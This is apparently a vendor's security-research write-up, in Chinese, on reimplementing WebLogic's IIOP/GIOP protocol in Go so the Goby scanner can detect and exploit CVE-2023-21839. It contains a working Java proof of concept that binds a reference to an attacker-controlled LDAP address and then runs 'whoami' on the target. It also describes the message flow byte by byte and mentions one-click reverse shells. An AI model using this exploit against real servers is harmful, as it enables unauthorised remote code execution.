Weblogic 的序列化漏洞主要依赖于 T3 和 IIOP 协议,这两种协议在通信交互的过程中存在如跨语言、网络传输等方面的诸多问题,会给漏洞的检测和利用带来许多不便。在白帽汇安全研究院的理念中,漏洞检测和利用是一项需要创造性的工作,应该以最简洁,高效的方式实现,这样才能确保漏洞的跨平台和实用性。因此,我们通过跨语言方式实现 IIOP 协议通信,以解决出现的序列化漏洞问题。
在 Goby 中的 CVE-2023-21839 漏洞中,我们成功的实现了IIOP 协议跨语言通信的方案,实现了完美漏洞的检测与利用效果:
GIOP是一种CORBA规范定义的协议,用于在分布式对象之间进行通信和交互,定义了对象请求、响应、异常、命名等基本的通信模式和协议规范。简单来说,GIOP就是一个抽象的协议标准,定义了通信模式和协议规范等信息,并不是具体实现的协议。
IIOP是一种实现了GIOP协议的TCP/IP协议栈,它使得CORBA对象能够通过Internet进行分布式通信和交互。简单来说,IIOP协议是在TCP/IP层面上实现的GIOP协议。
RMI-IIOP是一种Java远程方法调用协议的实现方式,它在IIOP协议之上扩展了Java RMI协议,使得Java对象可以通过IIOP协议进行分布式通信和交互。简单来说,RMI-IIOP协议就是在IIOP协议的基础上集合了RMI的远程调用Java对象的功能。(本文会将Weblogic部分RMI-IIOP作为IIOP协议来看待)
在文章《 Weblogic IIOP 协议NAT 网络绕过》中提到 “T3 协议本质上 RMI 中传输数据使用的协议, RMI-IIOP 是可以兼容 RMI 和 IIOP 的,所以在 Weblogic 中只要可以通过 T3 序列化恶意代码的都可以通过 IIOP 协议进行序列化”。对于启用了IIOP和T3协议的Weblogic而言,序列化数据协议传输的过程中是没有本质上区别的,同时在Weblogic通信过程中可能会出现NET网络问题。因此,为了解决Java序列化跨语言问题以及IIOP的网络问题,我选择了IIOP协议作为此次Weblogic序列化协议研究的重点。
以CVE-2023-21839 Weblogic 序列化漏洞为例,在Weblogic的IIOP攻击流程中,攻击端首先初始化上下文信息,使用rebind()
方法向注册端绑定恶意对象,再通过 lookup()
方法触发漏洞远程加载恶意地址中的存根对象。在加载的过程中,自定义的恶意对象执行自绑定的操作,将具有回显的对象绑定到Weblogic注册端上,之后远程调用该对象中的方法,达到攻击回显的目的。
POC如下:
public class main { public static void main(String[] args) throws NamingException, RemoteException { ForeignOpaqueReference foreignOpaqueReference = new ForeignOpaqueReference("ldap://xxx.xxx.xxx.xxx:1389/exp", null); String iiop_addr = "iiop://xxx.xxx.xxx.xxx:7001"; Hashtable<String, String> env = new Hashtable<String, String>(); env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory"); env.put("java.naming.provider.url", iiop_addr); Context context = new InitialContext(env); // 初始化上下文,建立交互连接 LocateRequest LocateReply String bind_name = String.valueOf(System.currentTimeMillis()); context.rebind(bind_name, foreignOpaqueReference); // 绑定远程对象 rebind_any context.lookup(bind_name); // 获取远程对象 resove_any ClusterMasterRemote clusterMasterRemote = (ClusterMasterRemote)context.lookup("selfbind_name"); //获取自绑定的回显对象 System.out.println(clusterMasterRemote.getServerLocation("whoami")); // 执行远程对象中的方法 } }
Java中的攻击流程
1、在Weblogic的IIOP序列化交互开始时,客户端初始化上下文信息 new InitialContext()
,通过 locateNameService()
方法将目标地址、序列化对象等信息封装到IIOP协议的请求包中作为 LocateRequest
消息与Weblogic服务端建立通信。
2、当客户端收到服务端的LocateReply
消息后表示通信交互已建立,客户端会解析响应消息体中的信息,并将其中的相关信息(如Key Address,内部类地址、上下文等信息)解析作为下次请求的消息体验证信息。
3、通信建立后,IIOP会将建立交互时服务端响应包中的 Key Address
作为下次请求中的 Key Address
,执行bind()
或 rebind()
方法时,绑定对象名称、对象的序列化数据等信息会封装到请求消息体中的 Stub data
字段中作为消息传输。
4、IIOP协议执行lookup()
方法时,首先通过创建的上下文对象调用其中的lookup()
方法,lookup()
方法根据上下文中是否为NamingContextAny
类型来决定调用的lookup()
方法,由于上下文对象属于NamingContextAny
类型,因此通过Utils.stringToWNameComponent(var1) 方
法将字符串 var1 转换成 WNameComponent(Wide Name Component)
数组,并将其传递给this.lookup()
方法,最后通过调用resolve_any()
方法将消息封装成序列化字节流发送给服务端。
在《IIOP攻击流程》章节的交互部分中,当weblogic在内网环境下,客户端会将 LocateReply
中返回的weblogic内部类的内网地址作为下次发包的目标地址,因此会出现客户端向自己的内部地址发包,导致网络通信中断问题。同时,由于Go语言中并没有官方的IIOP协议库可用,我们在Goby安全工具上实现漏洞攻击是比较困难的。如果外挂java程序的话会使Goby越来越臃肿,这并不符合白帽汇安全研究院的漏洞价值观。针对上面的问题,我们索性直接复刻IIOP协议作为最终的通用解决方案。
协议通信的本质是字节流的形式在网络中传输数据。因此,Go实现IIOP协议的方式就是模拟IIOP通信的字节流。
对于上文中的攻击流程,我们将攻击过程中IIOP协议通信分为建立交互、绑定远程对象、获取远程对象,执行对象方法四个部分。对应在 Java主要通过以方法完成:
Context context = new InitialContext(env); // 初始化上下文,建立交互连接 LocateRequest消息 LocateReply消息 context.rebind(bind_name, foreignOpaqueReference); // 绑定远程对象 Request消息 rebind_any方法 context.lookup(bind_name); // 绑定远程对象 Request消息 lookup方法 ClusterMasterRemote clusterMasterRemote = (ClusterMasterRemote)context.lookup("selfbind_name"); //获取自绑定的回显对象 clusterMasterRemote.getServerLocation("whoami"); // 执行远程对象中的方法
我们在 IIOP 协议模拟实现时仅需要实现上述方法在执行过程中协议交互的字节流即可。
GIOP(General Inter-ORB Protocol)是一种CORBA规范定义的协议,用于在分布式对象之间进行通信和交互,定义了对象请求、响应、异常、命名等基本的通信模式和协议规范。
GIOP消息由消息头和消息体两部分组成。
在GIOP消息头中包括了Magic(GIOP标识)、Version(GIOP版本)、Message Flags(标志位)、Message type(消息类型)、Message size(消息体长度)四个字段;
在GIOP消息体中,主要包含了Request id(请求标识)、TargetAddress(请求目标对象键ID)、Key Address(Key地址)、Reqest operation(操作方法)、SerivceContext(服务上下文信息)等字段。
由于篇幅有限,这里并不过多叙述GIOP字段的含义,如想深入研究协议内容,请参考我们总结的手册《GIOP-Protocol-Analysis》。
GIOP协议通信流程
1、在通信的初始阶段,首先客户端向服务端发送 LocateRequest
类型的消息与服务端建立通信,服务端验证请求信息并响应LocateReply
类型的消息表示收到了客户端的请求信息,开始与客户端进行交互通信。
2、通信建立完成后,客户端发送一个Request
类型的消息来执行服务端中的方法,Request
消息的请求体中包含了key地址(Key Address
)、执行方法名称(Request operation
)、消息上下文(Service Context
)和调用远程对象信息(Stub data
)等内容。
3、服务端接收并正常解析请求报文后,回应一个Reply
类型的 No Exception
消息。如果请求报文在服务端中解析出错/异常,则回应一个 Reply
类型的User Exception
/ System Exception
消息,同时响应体中会附带异常ID(Exception id
)信息。
Context context = new InitialContext(env); // 初始化上下文,建立交互连接 LocateRequest消息 LocateReply消息
在Java代码中,初始化上下文信息在创建对象的过程中建立IIOP协议的交互流程。因此,在Go语言中实现new InitialContext(env)
创建对象时生成的字节流并发送给Weblogic即可。new InitialContext(env)
对象的创建过程在IIOP协议具体实现中为LocateRequest
消息。
客户端发送的 LocateRequest
消息是一个固定的格式。其中包含了GIOP协议标识,协议版本,消息类型、消息标识等信息。
由于LocateRequest
是一个固定格式的序列,所以可以直接将该序列发送给服务端,开始建立交互连接。
服务端在收到 LocateRequest
消息并验证正确后,会向客户端响应一个 LocateReply
消息。 响应的 LocateReply
消息包含了有关服务器的上下文信息、key地址、长度等信息。
在交互建立完成后,下次请求通信过程中会用到响应体中的key地址,需要将key地址解析出来,以便于下次请求包中使用。具体做法是需要先将Key Address length
的长度提取出来,再根据Key的长度计算出Key Address
,并将key地址存储起来,以便下次请求使用。同时,因为我们下次发包的目标地址是自主可控的,这就从根源上避免了上面出现的NET网络问题。这样,通信就已经正常建立了。
在通信建立之后,为了验证服务端返回的 Key Address
的有效性,我们向服务端发送了一个方法名为 _non_existent
的 Request
请求消息。如果服务端返回的状态为 No Exception
,则说明该 Key Addresss
是有效的。
context.rebind(bind_name, foreignOpaqueReference); // 绑定远程对象 Request消息 rebind_any方法
在 Java语言中,使用 rebind()
方法可以将一个对象绑定到 Weblogic 注册中心上。在 Go语言中,我们可以实现 context.rebind()
方法的字节流,将要绑定的名称和序列化对象添加到字节流中,然后发送给 Weblogic。
在 IIOP 协议的具体实现中,rebind()
方法的操作方法名为 rebind_any
。
通过 rebind_any
方法,将 Stub data
中的绑定名称以及序列化对象等数据发送给服务端,服务端执行重绑定操作,将对象绑定到Weblogic Register上。
Go模拟 rebind_any
方法的核心将生成的 payload 字节流增加到请求体的尾部 Stub data
部分。
context.lookup(bind_name); // 绑定远程对象 Request消息 lookup方法
在 Java 代码中,通过上下文对象中的 lookup()
方法可以获取 Weblogic 中绑定名称的存根对象。同样,在 Go 语言中,我们可以实现 context.rebind()
方法的字节流,并将要绑定的名称添加到该字节流中,然后将其发送给 Weblogic。
在 IIOP 协议的具体实现中,lookup()
方法的操作方法名为 resolve_any
。
resolve_any
方法通过发送注册命名信息获取注册中心上的存根对象。这里的Go字节码实现和上面的相似,都是将信息放到 Stub data
中发送给服务端,只不过这里存放的是存根的命名信息。
resolve_any
的响应消息会生成一个新的 Key Address
,该key包含获取远程对象的引用地址等信息,在执行这个对象中的方法时,要将新请求消息中的 Key Address
替换成该信息。这样就可以正常执行该对象中的方法了。
clusterMasterRemote.getServerLocation("whoami"); // 执行远程对象中的方法
执行 lookup
方法后,我们获取到了远程对象的存根信息,这时就可以调用对象中的方法来实现远程方法调用的目的。
例如,我们在 CVE-2023-21839 漏洞上绑定了回显类并有名为 getServerLocation()
的回显方法。在 Go 语言中,我们只需要按照 GIOP 字节流的格式实现字节流,并将字段 Request operation
的值设置为我们要执行的方法名,Operation length
设置为方法名的长度,Stub data
中设置为执行方法的字节流,最后封装成 GIOP 字节流发送给 Weblogic 即可。具体的的漏洞回显效果,正如下图所示:
在白帽汇安全研究院,漏洞检测和利用是一项创造性的工作,我们致力于以最简洁,高效的方式来实现。为了在 Goby 中实现 Weblogic 序列化漏洞的最佳效果和利用方式,我们花费大量精力阅读 IIOP 序列化源码、分析协议流量、调试协议中的字段和字节码。最终,我们成功在 Go 语言中实现了 IIOP 协议漏洞利用框架。为了验证框架的可靠性,我们以 Weblogic 反序列化漏洞(CVE-2023-21839)为例,在 Goby 上实现了完美的漏洞攻击效果,并加入了一键回显、一键反弹 shell 的利用方式。
ChatGPT (openai.com)
Java CORBA (seebug.org)
RMI-IIOP Programmer's Guide (oracle.com)
Tutorial: Getting Started Using RMI-IIOP (oracle.com)
Configuring WebLogic Server for RMI-IIOP (oracle.com)
Servers: Protocols: IIOP (oracle.com)
Weblogic IIOP 协议NAT 网络绕过 | R4v3zn's Blog(r4v3zn.com)
漫谈 WebLogic CVE-2020-2551 | R4v3zn's Blog(r4v3zn.com)
Weblogic CVE-2020-2551 绕过NAT网络分析 - 先知社区 (aliyun.com)
【协议森林】详解大端(big endian)与小端(little endian)_协议森林的博客(csdn.net)
基于RapidIO的GIOP协议——RIO-IOP - 中国知网 (cnki.net)